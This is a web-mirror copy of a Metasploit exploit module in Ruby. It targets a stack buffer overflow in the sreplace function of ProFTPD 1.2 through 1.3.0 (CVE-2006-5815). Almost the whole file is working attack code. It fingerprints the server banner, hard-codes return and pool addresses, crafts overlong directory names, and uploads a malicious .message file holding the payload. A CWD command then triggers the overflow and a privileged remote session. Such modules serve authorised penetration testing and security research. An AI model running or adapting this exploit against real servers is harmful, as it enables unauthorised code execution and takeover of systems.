Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ftp/proftp_sreplace.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',
16
'Description' => %q{
17
This module exploits a stack-based buffer overflow in versions 1.2 through
18
1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
19
within the "src/support.c" file.
20
21
The off-by-one heap overflow bug in the ProFTPD sreplace function has been
22
discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
23
this off-by-one bug via MKD command, but failed. We did not work on this bug
24
since then.
25
26
Actually, there are exists at least two bugs in sreplace function, one is the
27
mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
28
via 'sstrncpy(dst,src,negative argument)'.
29
30
We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
31
version, but the version 1.3.0rc3 introduced some interesting changes, among them:
32
33
1. another (integer) overflow in sreplace!
34
2. now it is possible to reach sreplace stack-based buffer overflow bug via
35
the "pr_display_file" function!
36
3. stupid '.message' file display bug
37
38
So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
39
To reach the bug, you need to upload a specially created .message file to a
40
writeable directory, then do "CWD <writeable directory>" to trigger the invocation
41
of sreplace function.
42
43
Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
44
file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.
45
46
The exploit is a part of VulnDisco Pack since Dec 2005.
47
},
48
'Author' => [
49
'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)
50
'jduck' # Metasploit 3.x port
51
],
52
'References' => [
53
[ 'CVE', '2006-5815' ],
54
[ 'OSVDB', '68985' ],
55
[ 'BID', '20992' ],
56
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/94' ],
57
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/538' ],
58
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],
59
[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]
60
],
61
'DefaultOptions' => {
62
'EXITFUNC' => 'process',
63
'PrependChrootBreak' => true
64
},
65
'Privileged' => true,
66
'Payload' => {
67
'Space' => 900,
68
'BadChars' => "\x00\x0a\x0d\x25",
69
'DisableNops' => true
70
},
71
'Platform' => [ 'linux' ],
72
'Targets' => [
73
#
74
# Automatic targeting via fingerprinting
75
#
76
[ 'Automatic Targeting', { 'auto' => true } ],
77
78
#
79
# This special one comes first since we dont want its index changing.
80
#
81
[
82
'Debug',
83
{
84
'Ret' => 0x41414242,
85
'PoolAddr' => 0x43434545
86
}
87
],
88
89
#
90
# specific targets
91
#
92
93
[
94
'ProFTPD 1.3.0 (source install) / Debian 3.1',
95
{
96
# objdump -D proftpd|grep call|grep edx
97
'Ret' => 0x804afc8, # call edx
98
# nm proftpd|grep permanent_pool
99
'PoolAddr' => 0x80b59f8
100
}
101
]
102
103
],
104
'DefaultTarget' => 0,
105
'DisclosureDate' => '2006-11-26',
106
'Notes' => {
107
'Stability' => [CRASH_SERVICE_DOWN],
108
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
109
'Reliability' => [UNRELIABLE_SESSION]
110
}
111
)
112
)
113
114
register_options(
115
[
116
OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])
117
]
118
)
119
end
120
121
def check
122
# NOTE: We don't care if the login failed here...
123
connect
124
125
# We just want the banner to check against our targets..
126
vprint_status("FTP Banner: #{banner.strip}")
127
128
status = CheckCode::Safe
129
130
if banner =~ /ProFTPD (1\.[23]\.[^ ])/i
131
ver = ::Regexp.last_match(1)
132
_maj, _min, rel = ver.split('.')
133
relv = rel.slice!(0, 1)
134
case relv
135
when '2'
136
status = CheckCode::Appears
137
138
when '3'
139
# 1.3.x before 1.3.1 is vulnerable
140
status = CheckCode::Appears
141
if !rel.empty?
142
if rel.to_i > 0
143
status = CheckCode::Safe
144
else
145
status = CheckCode::Appears
146
end
147
end
148
end
149
end
150
151
disconnect
152
return status
153
end
154
155
def exploit
156
connect_login
157
158
# Use a copy of the target
159
mytarget = target
160
161
if target['auto']
162
mytarget = nil
163
164
print_status('Automatically detecting the target...')
165
if (banner && (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i)))
166
print_status("FTP Banner: #{banner.strip}")
167
version = m[1]
168
else
169
fail_with(Failure::NoTarget, 'No matching target')
170
end
171
172
regexp = Regexp.escape(version)
173
targets.each do |t|
174
if (t.name =~ /#{regexp}/)
175
mytarget = t
176
break
177
end
178
end
179
180
if !mytarget
181
fail_with(Failure::NoTarget, 'No matching target')
182
end
183
184
print_status("Selected Target: #{mytarget.name}")
185
else
186
print_status("Trying target #{mytarget.name}...")
187
if banner
188
print_status("FTP Banner: #{banner.strip}")
189
end
190
end
191
192
# puts "attach and press any key"; bleh = $stdin.gets
193
send_cmd(['CWD', datastore['WRITABLE']])
194
195
pwd = send_cmd(['PWD'])
196
if pwd !~ /257\s"(.+)"/
197
fail_with(Failure::Unknown, 'Unable to get current working directory')
198
end
199
pwd = ::Regexp.last_match(1)
200
pwd << '/' if pwd[-1, 1] != '/'
201
202
dir1 = 'A' * (251 - pwd.length)
203
send_cmd(['MKD', dir1])
204
205
send_cmd(['CWD', dir1])
206
207
send_cmd(['PWD'])
208
209
dir2 = 'B' * 64
210
dir2 << [mytarget.ret].pack('V')
211
dir2 << [mytarget['PoolAddr'] - 4].pack('V')
212
dir2 << "\xcc" * 28
213
214
send_cmd(['DELE', "#{dir2}/.message"])
215
send_cmd(['DELE', '250'])
216
send_cmd(['RMD', dir2])
217
218
filedata = ''
219
filedata << 'A'
220
filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
221
filedata << "\x25C" * 11
222
filedata << 'A'
223
filedata << payload.encoded
224
filedata << rand_text_alphanumeric(900 - payload.encoded.length)
225
filedata << "\x25\x43\x41" * 10
226
227
send_cmd(['MKD', dir2])
228
send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')
229
230
# Trigger sreplace overflow
231
send_cmd(['CWD', dir2])
232
233
handler
234
disconnect
235
end
236
end
237
238